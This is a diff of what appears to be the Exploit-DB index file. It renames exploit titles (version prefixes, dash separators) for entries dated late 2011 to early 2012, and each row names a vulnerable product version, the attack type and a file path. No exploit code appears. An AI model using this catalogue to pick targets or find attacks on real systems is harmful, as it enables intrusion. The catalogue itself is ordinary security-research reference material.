-18231,platforms/php/webapps/18231.txt,"Wordpress UPM-POLLS  Plugin 1.0.4 Blind SQL Injection",2011-12-11,Saif,php,webapps,0
+18231,platforms/php/webapps/18231.txt,"Wordpress UPM-POLLS Plugin 1.0.4 Blind SQL Injection",2011-12-11,Saif,php,webapps,0
 18232,platforms/php/webapps/18232.txt,"FCMS_2.7.2 cms and earlier multiple CSRF Vulnerabilities",2011-12-11,"Ahmed Elhady Mohamed",php,webapps,0
 18233,platforms/php/webapps/18233.txt,"Xoops 2.5.4 Blind SQL Injection",2011-12-11,blkhtc0rp,php,webapps,0
 18235,platforms/windows/remote/18235.pl,"zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal",2011-12-11,"Stefan Schurtz",windows,remote,0
-18236,platforms/php/webapps/18236.txt,"Pixie v1.04 blog post CSRF",2011-12-11,hackme,php,webapps,0
+18236,platforms/php/webapps/18236.txt,"Pixie 1.04 - Blog Post CSRF",2011-12-11,hackme,php,webapps,0
 18239,platforms/php/webapps/18239.rb,"Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit",2011-12-13,metasploit,php,webapps,0
-18240,platforms/windows/remote/18240.rb,"CoDeSys SCADA v2.3 Webserver Stack Buffer Overflow",2011-12-13,metasploit,windows,remote,0
+18240,platforms/windows/remote/18240.rb,"CoDeSys SCADA 2.3 - Webserver Stack Buffer Overflow",2011-12-13,metasploit,windows,remote,0
 18243,platforms/php/webapps/18243.rb,"PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit",2011-12-14,metasploit,php,webapps,0
 18245,platforms/multiple/remote/18245.py,"Splunk Remote Root Exploit",2011-12-15,"Gary O'Leary-Steele",multiple,remote,0
 18246,platforms/php/webapps/18246.txt,"Seotoaster SQL Injection Admin Login Bypass",2011-12-16,"Stefan Schurtz",php,webapps,0
@@ -15817,14 +15817,14 @@ id,file,description,date,author,platform,type,port
 18258,platforms/windows/local/18258.c,"TORCS 1.3.1 acc Buffer Overflow",2011-12-20,"Andrés Gómez",windows,local,0
 18259,platforms/php/webapps/18259.txt,"Infoproject Business Hero Multiple Vulnerabilities",2011-12-21,LiquidWorm,php,webapps,0
 18260,platforms/jsp/webapps/18260.txt,"Barracuda Control Center 620 - Multiple Web Vulnerabilities",2011-12-21,Vulnerability-Lab,jsp,webapps,0
-18261,platforms/php/webapps/18261.txt,"SpamTitan v5.08 Multiple Vulnerabilities",2011-12-21,Vulnerability-Lab,php,webapps,0
+18261,platforms/php/webapps/18261.txt,"SpamTitan 5.08 - Multiple Vulnerabilities",2011-12-21,Vulnerability-Lab,php,webapps,0
 18262,platforms/multiple/webapps/18262.txt,"Plone and Zope Remote Command Execution PoC",2011-12-21,"Nick Miles",multiple,webapps,0
 18265,platforms/php/webapps/18265.txt,"Tiki Wiki CMS Groupware <= 8.2 (snarf_ajax.php) Remote PHP Code Injection",2011-12-22,EgiX,php,webapps,0
 18266,platforms/php/webapps/18266.py,"Open Conference/Journal/Harvester Systems <= 2.3.X Multiple RCE Vulnerabilities",2011-12-23,mr_me,php,webapps,0
 18268,platforms/windows/dos/18268.txt,"FreeSSHd Crash PoC",2011-12-24,Level,windows,dos,0
 18269,platforms/windows/dos/18269.py,"MySQL 5.5.8 Remote Denial Of Service (DOS)",2011-12-24,Level,windows,dos,0
 18270,platforms/windows/dos/18270.py,"Putty 0.60 Crash PoC",2011-12-24,Level,windows,dos,0
-18271,platforms/windows/dos/18271.py,"Windows Media Player v11.0.5721.5262 Remote Denial Of Service (DOS)",2011-12-24,Level,windows,dos,0
+18271,platforms/windows/dos/18271.py,"Windows Media Player 11.0.5721.5262 - Remote Denial Of Service (DOS)",2011-12-24,Level,windows,dos,0
 18272,platforms/windows/dos/18272.py,"Windows Explorer Denial Of Service (DOS)",2011-12-24,Level,windows,dos,0
 18274,platforms/php/webapps/18274.txt,"OpenEMR 4 Multiple Vulnerabilities",2011-12-25,Level,php,webapps,0
 18275,platforms/win64/dos/18275.txt,"GdiDrawStream BSoD using Safari",2011-12-18,webDEViL,win64,dos,0
@@ -15834,9 +15834,9 @@ id,file,description,date,author,platform,type,port
 18280,platforms/linux/remote/18280.c,"Telnetd encrypt_keyid: Remote Root function pointer overwrite",2011-12-26,"NighterMan and BatchDrake",linux,remote,0
 18283,platforms/windows/remote/18283.rb,"CoCSoft Stream Down 6.8.0 Universal exploit metasploit",2011-12-27,"Fady Mohammed Osman",windows,remote,0
 18285,platforms/windows/dos/18285.py,"VLC 1.1.11 (libav) libavcodec_plugin.dll DOS",2011-12-28,"Mitchell Adair",windows,dos,0
-18287,platforms/php/webapps/18287.php,"Simple File Upload v1.3 Joomla Module Remote Code Execution",2011-12-28,gmda,php,webapps,0
+18287,platforms/php/webapps/18287.php,"Joomla Module Simple File Upload 1.3 - Remote Code Execution",2011-12-28,gmda,php,webapps,0
 18288,platforms/php/webapps/18288.txt,"DIY-CMS blog mod SQL Injection Vulnerability",2011-12-29,snup,php,webapps,0
-18290,platforms/php/webapps/18290.txt,"Winn Guestbook v2.4.8c Stored XSS Vulnerability",2011-12-29,G13,php,webapps,0
+18290,platforms/php/webapps/18290.txt,"Winn Guestbook 2.4.8c - Stored XSS Vulnerability",2011-12-29,G13,php,webapps,0
 18291,platforms/hardware/remote/18291.txt,"Reaver WiFi Protected Setup Exploit",2011-12-30,cheffner,hardware,remote,0
 18292,platforms/php/webapps/18292.txt,"Dede CMS All Versions SQL Injection Vulnerability",2011-12-30,"CWH and Nafsh",php,webapps,0
 18293,platforms/php/webapps/18293.txt,"Akiva WebBoard 8.x SQL Injection Vulnerability",2011-12-30,"Alexander Fuchs",php,webapps,0
@@ -15847,22 +15847,22 @@ id,file,description,date,author,platform,type,port
 18298,platforms/php/webapps/18298.txt,"Php-X-Links Script SQL Injection Vulnerabilitiy",2012-01-02,"H4ckCity Security Team",php,webapps,0
 18300,platforms/php/webapps/18300.txt,"MyPHPDating 1.0 SQL Injection Vulnerability",2012-01-02,ITTIHACK,php,webapps,0
 18305,platforms/php/dos/18305.py,"PHP Hash Table Collision Proof Of Concept",2012-01-03,"Christian Mehlmauer",php,dos,0
-18308,platforms/php/webapps/18308.txt,"Typo3 v4.5-4.7 Remote Code Execution (RFI/LFI)",2012-01-04,MaXe,php,webapps,0
-18309,platforms/windows/dos/18309.pl,"VLC Media Player v1.1.11 (.amr) Denial of Service PoC",2012-01-04,Fabi@habsec,windows,dos,0
+18308,platforms/php/webapps/18308.txt,"Typo3 4.5-4.7 - Remote Code Execution (RFI/LFI)",2012-01-04,MaXe,php,webapps,0
+18309,platforms/windows/dos/18309.pl,"VLC Media Player 1.1.11 - (.amr) Denial of Service PoC",2012-01-04,Fabi@habsec,windows,dos,0
 18314,platforms/php/webapps/18314.txt,"Posse Softball Director CMS SQL Injection Vulnerabilitiy",2012-01-04,"H4ckCity Security Team",php,webapps,0
 18318,platforms/windows/dos/18318.py,"Netcut 2.0 Denial of Service Vulnerability",2012-01-04,MaYaSeVeN,windows,dos,0
 18320,platforms/php/webapps/18320.txt,"Posse Softball Director CMS (team.php) Blind SQL Injection Vulnerability",2012-01-04,"Easy Laster",php,webapps,0
 18322,platforms/php/webapps/18322.txt,"TinyWebGallery 1.8.3 Remote Command Execution",2012-01-06,Expl0!Ts,php,webapps,0
 18327,platforms/netware/dos/18327.txt,"Novell Netware XNFS.NLM NFS Rename Remote Code Execution",2012-01-06,"Francis Provencher",netware,dos,0
 18328,platforms/netware/dos/18328.txt,"Novell Netware XNFS.NLM STAT Notify Remote Code Execution",2012-01-06,"Francis Provencher",netware,dos,0
-18329,platforms/multiple/webapps/18329.txt,"Apache Struts2 <= 2.3.1 Multiple Vulnerabilities",2012-01-06,"SEC Consult",multiple,webapps,0
+18329,platforms/multiple/webapps/18329.txt,"Apache Struts2 <= 2.3.1 - Multiple Vulnerabilities",2012-01-06,"SEC Consult",multiple,webapps,0
 18330,platforms/php/webapps/18330.txt,"Wordpress Pay With Tweet Plugin <= 1.1 Multiple Vulnerabilities",2012-01-06,"Gianluca Brindisi",php,webapps,0
 18334,platforms/windows/local/18334.py,"Microsoft Office 2003 Home/Pro 0day",2012-01-08,"b33f g11tch",windows,local,0
 18335,platforms/php/webapps/18335.txt,"MangosWeb SQL Injection Vulnerability",2012-01-08,Hood3dRob1n,php,webapps,0
 18336,platforms/hardware/dos/18336.pl,"AirTies-4450 Unauthorized Remote Reboot",2012-01-08,rigan,hardware,dos,0
 18337,platforms/windows/dos/18337.pl,"M-Player 0.4 Local Denial of Service Vulnerability",2012-01-08,JaMbA,windows,dos,0
-18338,platforms/php/webapps/18338.txt,"phpMyDirectory.com v1.3.3 SQL Injection",2012-01-08,Serseri,php,webapps,0
-18339,platforms/windows/dos/18339.py,"GPSMapEdit v1.1.73.2 (.lst) Local Denial of Service Vulnerability",2012-01-09,"Julien Ahrens",windows,dos,0
+18338,platforms/php/webapps/18338.txt,"phpMyDirectory.com 1.3.3 - SQL Injection",2012-01-08,Serseri,php,webapps,0
+18339,platforms/windows/dos/18339.py,"GPSMapEdit 1.1.73.2 (.lst) - Local Denial of Service Vulnerability",2012-01-09,"Julien Ahrens",windows,dos,0
 18340,platforms/php/webapps/18340.txt,"Paddelberg Topsite Script Authentication Bypass Vulnerability",2012-01-09,"Christian Inci",php,webapps,0
 18341,platforms/php/webapps/18341.txt,"Clip Bucket 2.6 Multiple Vulnerabilities",2012-01-09,YaDoY666,php,webapps,0
 18342,platforms/php/webapps/18342.txt,"SAPID 1.2.3 Stable Remote File Inclusion Vulnerability",2012-01-09,"Opa Yong",php,webapps,0
@@ -15878,7 +15878,7 @@ id,file,description,date,author,platform,type,port
 18353,platforms/php/webapps/18353.txt,"WordPress wp-autoyoutube plugin Blind SQL Injection Vulnerability",2012-01-12,longrifle0x,php,webapps,0
 18354,platforms/windows/remote/18354.py,"WorldMail imapd 3.0 SEH overflow (egg hunter)",2012-01-12,TheXero,windows,remote,0
 18355,platforms/php/webapps/18355.txt,"Wordpress Count-per-day plugin Multiple Vulnerabilities",2012-01-12,6Scan,php,webapps,0
-18356,platforms/php/webapps/18356.txt,"Tine v2.0 Maischa Multiple Cross Site Scripting Vulnerabilities",2012-01-13,Vulnerability-Lab,php,webapps,0
+18356,platforms/php/webapps/18356.txt,"Tine 2.0 - Maischa Multiple Cross Site Scripting Vulnerabilities",2012-01-13,Vulnerability-Lab,php,webapps,0
 18357,platforms/php/webapps/18357.txt,"Pragyan CMS 2.6.1 Arbitrary File Upload Vulnerability",2012-01-13,Dr.KroOoZ,php,webapps,0
 18365,platforms/windows/remote/18365.rb,"Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability",2012-01-14,metasploit,windows,remote,0
 18366,platforms/windows/local/18366.rb,"Adobe Reader U3D Memory Corruption Vulnerability",2012-01-14,metasploit,windows,local,0
@@ -15913,21 +15913,21 @@ id,file,description,date,author,platform,type,port
 18397,platforms/windows/remote/18397.py,"Avaya WinPDM UniteHostRouter <= 3.8.2 Remote Pre-Auth Command Execute",2012-01-20,Abysssec,windows,remote,0
 18399,platforms/windows/dos/18399.py,"VLC 1.2.0 (libtaglib_pluggin.dll) DoS",2012-01-20,"Mitchell Adair",windows,dos,0
 18401,platforms/windows/remote/18401.py,"Savant Web Server 3.1 Buffer Overflow Exploit (Egghunter)",2012-01-21,red-dragon,windows,remote,0
-18402,platforms/php/webapps/18402.pl,"php ireport v1.0 Remote Html Code injection",2012-01-21,Or4nG.M4N,php,webapps,0
+18402,platforms/php/webapps/18402.pl,"PHP iReport 1.0 - Remote Html Code injection",2012-01-21,Or4nG.M4N,php,webapps,0
 18403,platforms/php/webapps/18403.txt,"Nova CMS Directory Traversal",2012-01-21,"Red Security TEAM",php,webapps,0
-18404,platforms/php/webapps/18404.pl,"iSupport v1.x CSRF HTML Code Injection to Add Admin",2012-01-21,Or4nG.M4N,php,webapps,0
+18404,platforms/php/webapps/18404.pl,"iSupport 1.x - CSRF HTML Code Injection to Add Admin",2012-01-21,Or4nG.M4N,php,webapps,0
 18405,platforms/asp/webapps/18405.txt,"ARYADAD Multiple Vulnerabilities",2012-01-21,"Red Security TEAM",asp,webapps,0
 18407,platforms/php/webapps/18407.txt,"AllWebMenus < 1.1.9 WordPress Menu Plugin Arbitrary File Upload",2012-01-22,6Scan,php,webapps,0
-18410,platforms/php/webapps/18410.txt,"miniCMS v1.0 : v2.0 php inject code",2012-01-22,Or4nG.M4N,php,webapps,0
-18411,platforms/linux/local/18411.c,"Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit",2012-01-23,zx2c4,linux,local,0
+18410,platforms/php/webapps/18410.txt,"miniCMS 1.0 & 2.0 - PHP Code Inject",2012-01-22,Or4nG.M4N,php,webapps,0
+18411,platforms/linux/local/18411.c,"Mempodipper - Linux Local Root for => 2.6.39 (32-bit & 64-bit)",2012-01-23,zx2c4,linux,local,0
 18412,platforms/php/webapps/18412.php,"Wordpress Kish Guest Posting Plugin 1.0 Arbitrary File Upload",2012-01-23,EgiX,php,webapps,0
-18413,platforms/php/webapps/18413.txt,"SpamTitan Application v5.08x - SQL Injection Vulnerability",2012-01-23,Vulnerability-Lab,php,webapps,0
+18413,platforms/php/webapps/18413.txt,"SpamTitan Application 5.08x - SQL Injection Vulnerability",2012-01-23,Vulnerability-Lab,php,webapps,0
 18416,platforms/jsp/webapps/18416.txt,"Stoneware WebNetwork6 Multiple Vulnerabilities",2012-01-24,"Jacob Holcomb",jsp,webapps,0
 18417,platforms/php/webapps/18417.txt,"WordPress <= 3.3.1 Multiple Vulnerabilities",2012-01-25,"Trustwave's SpiderLabs",php,webapps,0
 18418,platforms/php/webapps/18418.html,"VR GPub 4.0 CSRF Vulnerability",2012-01-26,Cyber-Crystal,php,webapps,0
-18419,platforms/php/webapps/18419.html,"phplist - version 2.10.9 CSRF/XSS Vulnerability",2012-01-26,Cyber-Crystal,php,webapps,0
+18419,platforms/php/webapps/18419.html,"phplist 2.10.9 - CSRF/XSS Vulnerability",2012-01-26,Cyber-Crystal,php,webapps,0
 18420,platforms/windows/remote/18420.rb,"Sysax Multi Server 5.50 Create Folder Remote Code Exec BoF (MSF Module)",2012-01-26,"Craig Freyman",windows,remote,0
-18422,platforms/php/webapps/18422.txt,"Peel SHOPPING - version 2.8 and version 2.9 xss/sql inject Vulnerability",2012-01-26,Cyber-Crystal,php,webapps,0
+18422,platforms/php/webapps/18422.txt,"Peel SHOPPING 2.8& 2.9 - XSS/SQL Injections Vulnerability",2012-01-26,Cyber-Crystal,php,webapps,0
 18423,platforms/windows/remote/18423.rb,"HP Diagnostics Server magentservice.exe Overflow",2012-01-27,metasploit,windows,remote,0
 18424,platforms/php/webapps/18424.rb,"vBSEO <= 3.6.0 ""proc_deutf()"" Remote PHP Code Injection Exploit",2012-01-27,EgiX,php,webapps,0
 18426,platforms/windows/remote/18426.rb,"MS12-004 midiOutPlayNextPolyEvent Heap Overflow",2012-01-28,metasploit,windows,remote,0
@@ -15956,8 +15956,8 @@ id,file,description,date,author,platform,type,port
 18452,platforms/multiple/webapps/18452.txt,"Apache Struts Multiple Persistent Cross-Site Scripting Vulnerabilities",2012-02-02,"SecPod Research",multiple,webapps,0
 18453,platforms/windows/dos/18453.txt,"OfficeSIP Server 3.1 Denial Of Service Vulnerability",2012-02-02,"SecPod Research",windows,dos,0
 18454,platforms/windows/dos/18454.txt,"NetSarang Xlpd Printer Daemon 4 Denial of Service Vulnerability",2012-02-02,"SecPod Research",windows,dos,0
-18455,platforms/php/webapps/18455.txt,"OSCommerce v3.0.2 - Persistent Cross Site Vulnerability",2012-02-02,Vulnerability-Lab,php,webapps,0
-18456,platforms/php/webapps/18456.txt,"Achievo v1.4.3 - Multiple Web Vulnerabilities",2012-02-02,Vulnerability-Lab,php,webapps,0
+18455,platforms/php/webapps/18455.txt,"OSCommerce 3.0.2 - Persistent Cross Site Vulnerability",2012-02-02,Vulnerability-Lab,php,webapps,0
+18456,platforms/php/webapps/18456.txt,"Achievo 1.4.3 - Multiple Web Vulnerabilities",2012-02-02,Vulnerability-Lab,php,webapps,0
 18457,platforms/linux/dos/18457.py,"torrent-stats httpd.c Denial of Service",2012-02-03,otr,linux,dos,0
 18458,platforms/php/dos/18458.txt,"PHP 5.4SVN-2012-02-03 htmlspecialchars/entities Buffer Overflow",2012-02-03,cataphract,php,dos,0
 18460,platforms/php/dos/18460.php,"PHP 5.4.0RC6 64bit Denial of Service",2012-02-04,"Stefan Esser",php,dos,0
@@ -15971,12 +15971,12 @@ id,file,description,date,author,platform,type,port
 18469,platforms/windows/dos/18469.pl,"Typsoft FTP Server 1.10 Multiple Commands DoS",2012-02-07,"Balazs Makany",windows,dos,0
 18470,platforms/php/webapps/18470.txt,"Ananta Gazelle CMS - Update Statement Sql injection",2012-02-08,hackme,php,webapps,0
 18471,platforms/windows/local/18471.c,"TORCS <= 1.3.2 xml buffer overflow /SAFESEH evasion",2012-02-08,"Andres Gomez and David Mora",windows,local,0
-18473,platforms/multiple/webapps/18473.txt,"Cyberoam Central Console v2.00.2 - File Include Vulnerability",2012-02-08,Vulnerability-Lab,multiple,webapps,0
+18473,platforms/multiple/webapps/18473.txt,"Cyberoam Central Console 2.00.2 - File Include Vulnerability",2012-02-08,Vulnerability-Lab,multiple,webapps,0
 18475,platforms/windows/dos/18475.c,"PeerBlock 1.1 BSOD",2012-02-09,shinnai,windows,dos,0
 18476,platforms/windows/remote/18476.py,"Sysax Multi Server <= 5.52 File Rename BoF RCE (Egghunter)",2012-02-09,"Craig Freyman",windows,remote,0
 18478,platforms/windows/remote/18478.rb,"Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow",2012-02-10,metasploit,windows,remote,0
 18479,platforms/windows/remote/18479.rb,"Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",2012-02-10,metasploit,windows,remote,0
-18480,platforms/php/webapps/18480.txt,"Dolibarr CMS v3.2.0 Alpha - File Include Vulnerabilities",2012-02-10,Vulnerability-Lab,php,webapps,0
+18480,platforms/php/webapps/18480.txt,"Dolibarr CMS 3.2.0 - Alpha - File Include Vulnerabilities",2012-02-10,Vulnerability-Lab,php,webapps,0
 18481,platforms/windows/dos/18481.py,"jetVideo 8.0.2 Denial of Service",2012-02-10,"Senator of Pirates",windows,dos,0
 18483,platforms/php/webapps/18483.txt,"Fork CMS 3.2.4 - Multiple Vulnerabilities (LFI - XSS)",2012-02-12,"Avram Marius",php,webapps,0
 18485,platforms/windows/remote/18485.rb,"Java MixerSequencer Object GM_Song Structure Handling Vulnerability",2012-02-16,metasploit,windows,remote,0
@@ -15987,8 +15987,8 @@ id,file,description,date,author,platform,type,port
 18491,platforms/windows/dos/18491.txt,"XnView <= 1.98.5 Multiple Vulnerabilities",2012-02-16,"Luigi Auriemma",windows,dos,0
 18492,platforms/linux/remote/18492.rb,"Horde 3.3.12 Backdoor Arbitrary PHP Code Execution",2012-02-17,metasploit,linux,remote,0
 18493,platforms/windows/dos/18493.py,"PCAnywhere 12.5.0 build 463 Denial of Service",2012-02-17,"Johnathan Norman",windows,dos,0
-18494,platforms/php/webapps/18494.txt,"Pandora FMS v4.0.1 - Local File Include Vulnerability",2012-02-17,Vulnerability-Lab,php,webapps,0
-18495,platforms/php/webapps/18495.html,"almnzm 2.4 <= CSRF Vulnerability (Add Admin)",2012-02-18,"HaNniBaL KsA",php,webapps,0
+18494,platforms/php/webapps/18494.txt,"Pandora FMS 4.0.1 - Local File Include Vulnerability",2012-02-17,Vulnerability-Lab,php,webapps,0
+18495,platforms/php/webapps/18495.html,"almnzm 2.4 - CSRF Vulnerability (Add Admin)",2012-02-18,"HaNniBaL KsA",php,webapps,0
 18497,platforms/php/webapps/18497.txt,"4PSA CMS SQL Injection Vulnerabilities",2012-02-19,"BHG Security Center",php,webapps,0
 18498,platforms/php/webapps/18498.html,"SyndeoCMS <= 3.0 CSRF Vulnerability",2012-02-19,"Ivano Binetti",php,webapps,0
 18499,platforms/hardware/webapps/18499.txt,"D-Link DSL-2640B (ADSL Router) CSRF Vulnerability",2012-02-20,"Ivano Binetti",hardware,webapps,0
@@ -15998,14 +15998,14 @@ id,file,description,date,author,platform,type,port
 18503,platforms/hardware/webapps/18503.txt,"Cisco Linksys WAG54GS CSRF Change Admin Password",2012-02-21,"Ivano Binetti",hardware,webapps,0
 18504,platforms/hardware/webapps/18504.txt,"Sagem F@ST 2604 CSRF Vulnerability (ADSL Router)",2012-02-22,"KinG Of PiraTeS",hardware,webapps,0
 18506,platforms/php/webapps/18506.txt,"BRIM < 2.0.0 SQL Injection",2012-02-22,ifnull,php,webapps,0
-18507,platforms/windows/dos/18507.py,"DAMN Hash Calculator v1.5.1 Local Heap Overflow PoC",2012-02-22,"Julien Ahrens",windows,dos,0
+18507,platforms/windows/dos/18507.py,"DAMN Hash Calculator 1.5.1 - Local Heap Overflow PoC",2012-02-22,"Julien Ahrens",windows,dos,0
 18508,platforms/php/webapps/18508.txt,"Limesurvey (PHPSurveyor 1.91+ stable) Blind SQL Injection",2012-02-22,TorTukiTu,php,webapps,0
 18509,platforms/hardware/webapps/18509.html,"Dlink DCS series CSRF Change Admin Password",2012-02-22,rigan,hardware,webapps,0
 18510,platforms/windows/webapps/18510.txt,"WebcamXP and Webcam 7 Directory Traversal Vulnerability",2012-02-22,Silent_Dream,windows,webapps,0
 18511,platforms/hardware/webapps/18511.txt,"D-Link DSL-2640B Authentication Bypass",2012-02-22,"Ivano Binetti",hardware,webapps,0
 18512,platforms/windows/dos/18512.txt,"Unity 3D Web Player <= 3.2.0.61061 Denial of Service",2012-02-22,"Luigi Auriemma",windows,dos,0
 18513,platforms/php/webapps/18513.txt,"DFLabs PTK <= 1.0.5 Multiple Vulnerabilities (Steal Authentication Credentials)",2012-02-22,"Ivano Binetti",php,webapps,0
-18514,platforms/windows/remote/18514.rb,"TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow",2012-02-23,metasploit,windows,remote,0
+18514,platforms/windows/remote/18514.rb,"TrendMicro Control Manger <= 5.5 CmdProcessor.exe - Stack Buffer Overflow",2012-02-23,metasploit,windows,remote,0
 18515,platforms/windows/local/18515.rb,"Orbit Downloader URL Unicode Conversion Overflow",2012-02-23,metasploit,windows,local,0
 18516,platforms/php/webapps/18516.txt,"phpDenora <= 1.4.6 Multiple SQL Injection Vulnerabilities",2012-02-23,NLSecurity,php,webapps,0
 18517,platforms/hardware/webapps/18517.txt,"Snom IP Phone Privilege Escalation - Security Advisory - SOS-12-001",2012-02-23,"Sense of Security",hardware,webapps,0
@@ -16013,13 +16013,13 @@ id,file,description,date,author,platform,type,port
 18519,platforms/php/webapps/18519.txt,"PHP Gift Registry 1.5.5 SQL Injection",2012-02-24,G13,php,webapps,0
 18520,platforms/windows/remote/18520.rb,"Sun Java Web Start Plugin Command Line Argument Injection (2012)",2012-02-24,metasploit,windows,remote,0
 18521,platforms/windows/remote/18521.rb,"HP Data Protector 6.1 EXEC_CMD Remote Code Execution",2012-02-25,metasploit,windows,remote,0
-18522,platforms/php/webapps/18522.php,"cPassMan v1.82 Remote Command Execution Exploit",2012-02-25,ls,php,webapps,0
+18522,platforms/php/webapps/18522.php,"cPassMan 1.82 - Remote Command Execution Exploit",2012-02-25,ls,php,webapps,0
 18523,platforms/php/webapps/18523.txt,"webgrind 1.0 (file param) Local File Inclusion Vulnerability",2012-02-25,LiquidWorm,php,webapps,0
-18524,platforms/windows/dos/18524.py,"Tiny HTTP Server <=v1.1.9 Remote Crash PoC",2012-02-25,localh0t,windows,dos,0
+18524,platforms/windows/dos/18524.py,"Tiny HTTP Server <= 1.1.9 - Remote Crash PoC",2012-02-25,localh0t,windows,dos,0
 18526,platforms/php/webapps/18526.php,"YVS Image Gallery Sql Injection",2012-02-25,CorryL,php,webapps,0
 18527,platforms/php/webapps/18527.txt,"ContaoCMS (aka TYPOlight) <= 2.11 CSRF (Delete Admin - Delete Article)",2012-02-26,"Ivano Binetti",php,webapps,0
 18531,platforms/windows/remote/18531.html,"Mozilla Firefox Firefox 4.0.1 Array.reduceRight() Exploit",2012-02-27,pa_kt,windows,remote,0
-18533,platforms/windows/local/18533.txt,"Socusoft Photo 2 Video v8.05 - Buffer Overflow Vulnerability",2012-02-27,Vulnerability-Lab,windows,local,0
+18533,platforms/windows/local/18533.txt,"Socusoft Photo 2 Video 8.05 - Buffer Overflow Vulnerability",2012-02-27,Vulnerability-Lab,windows,local,0
 18534,platforms/windows/remote/18534.py,"Sysax Multi Server 5.53 SFTP Post Auth SEH Exploit",2012-02-27,"Craig Freyman",windows,remote,0
 18535,platforms/windows/remote/18535.py,"Sysax <= 5.53 SSH Username BoF Pre Auth RCE (Egghunter)",2012-02-27,"Craig Freyman",windows,remote,0
 18536,platforms/php/webapps/18536.txt,"WebfolioCMS <= 1.1.4 CSRF (Add Admin/Modify Pages)",2012-02-28,"Ivano Binetti",php,webapps,0
@@ -16029,19 +16029,19 @@ id,file,description,date,author,platform,type,port
 18541,platforms/windows/dos/18541.py,"Netmechanica NetDecision HTTP Server Denial Of Service Vulnerability",2012-02-29,"SecPod Research",windows,dos,0
 18542,platforms/windows/remote/18542.txt,"Netmechanica NetDecision Traffic Grapher Server Information Disclosure Vulnerability",2012-02-29,"SecPod Research",windows,remote,0
 18543,platforms/windows/remote/18543.py,"Netmechanica NetDecision Dashboard Server Information Disclosure Vulnerability",2012-02-29,"SecPod Research",windows,remote,0
-18544,platforms/php/webapps/18544.txt,"ImgPals Photo Host Version 1.0 Admin Account Disactivation",2012-02-29,CorryL,php,webapps,0
+18544,platforms/php/webapps/18544.txt,"ImgPals Photo Host 1.0 - Admin Account Disactivation",2012-02-29,CorryL,php,webapps,0
 18545,platforms/php/webapps/18545.txt,"Wolf CMS v0.7.5 Multiple Vulnerabilities",2012-02-29,longrifle0x,php,webapps,0
 18546,platforms/windows/dos/18546.txt,"Novell Groupwise Address Book Remote Code Execution",2012-03-01,"Francis Provencher",windows,dos,0
 18547,platforms/windows/local/18547.rb,"DJ Studio Pro 5.1 .pls Stack Buffer Overflow",2012-03-02,metasploit,windows,local,0
 18548,platforms/windows/local/18548.rb,"VLC Media Player RealText Subtitle Overflow",2012-03-02,metasploit,windows,local,0
 18549,platforms/php/webapps/18549.txt,"phxEventManager 2.0 beta 5 search.php search_terms SQL Injection",2012-03-02,skysbsb,php,webapps,0
 18552,platforms/windows/dos/18552.pl,"Passport PC To Host Malformed .zws file Memory Corruption Vulnerability",2012-03-03,Silent_Dream,windows,dos,0
-18553,platforms/multiple/webapps/18553.txt,"Multiple SQL injection rivettracker <=1.03",2012-03-03,"Ali Raheem",multiple,webapps,0
+18553,platforms/multiple/webapps/18553.txt,"Rivettracker <= 1.03 - Multiple SQL injection",2012-03-03,"Ali Raheem",multiple,webapps,0
 18554,platforms/php/webapps/18554.txt,"Timesheet Next Gen 1.5.2 Multiple SQLi",2012-03-03,G13,php,webapps,0
-18555,platforms/windows/remote/18555.txt,"FlashFXP v4.1.8.1701 - Buffer Overflow Vulnerability",2012-03-03,Vulnerability-Lab,windows,remote,0
-18556,platforms/php/webapps/18556.txt,"Endian UTM Firewall v2.4.x & v2.5.0 - Multiple Web Vulnerabilities",2012-03-03,Vulnerability-Lab,php,webapps,0
+18555,platforms/windows/remote/18555.txt,"FlashFXP 4.1.8.1701 - Buffer Overflow Vulnerability",2012-03-03,Vulnerability-Lab,windows,remote,0
+18556,platforms/php/webapps/18556.txt,"Endian UTM Firewall 2.4.x & 2.5.0 - Multiple Web Vulnerabilities",2012-03-03,Vulnerability-Lab,php,webapps,0
 18557,platforms/windows/remote/18557.rb,"Sysax 5.53 SSH Username Buffer Overflow (msf)",2012-03-04,metasploit,windows,remote,0
-18558,platforms/php/webapps/18558.txt,"deV!L`z Clanportal Witze Addon Versions 0.9 SQL Injection Vulnerability",2012-03-04,"Easy Laster",php,webapps,0
+18558,platforms/php/webapps/18558.txt,"deV!L`z Clanportal Witze Addon 0.9 - SQL Injection Vulnerability",2012-03-04,"Easy Laster",php,webapps,0
 18559,platforms/php/webapps/18559.txt,"AneCMS v.2e2c583 LFI exploit",2012-03-04,"I2sec-Jong Hwan Park",php,webapps,0
 18560,platforms/php/webapps/18560.txt,"Symfony2 Local File Disclosure - Security Advisory - SOS-12-002",2012-03-05,"Sense of Security",php,webapps,0
 18561,platforms/php/webapps/18561.txt,"lizard cart SQLi (search.php)",2012-03-05,"Number 7",php,webapps,0
@@ -16050,12 +16050,12 @@ id,file,description,date,author,platform,type,port
 18565,platforms/php/remote/18565.rb,"LotusCMS 3.0 eval() Remote Command Execution",2012-03-07,metasploit,php,remote,0
 18566,platforms/asp/webapps/18566.txt,"Iciniti Store SQL Injection - Security Advisory - SOS-12-003",2012-03-07,"Sense of Security",asp,webapps,0
 18567,platforms/windows/webapps/18567.txt,"HomeSeer HS2 and HomeSeer PRO Multiple Vulnerabilities",2012-03-07,Silent_Dream,windows,webapps,0
-18571,platforms/php/webapps/18571.txt,"Promise WebPAM v2.2.0.13 Multiple Remote Vulnerabilities",2012-03-07,LiquidWorm,php,webapps,0
+18571,platforms/php/webapps/18571.txt,"Promise WebPAM 2.2.0.13 - Multiple Remote Vulnerabilities",2012-03-07,LiquidWorm,php,webapps,0
 18572,platforms/windows/remote/18572.rb,"Adobe Flash Player .mp4 'cprt' Overflow""",2012-03-08,metasploit,windows,remote,0
 18574,platforms/php/webapps/18574.txt,"RazorCMS <= 1.2.1 STABLE File Upload Vulnerability",2012-03-08,"i2sec_Hyo jun Oh",php,webapps,0
 18575,platforms/php/webapps/18575.txt,"RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)",2012-03-08,"Ivano Binetti",php,webapps,0
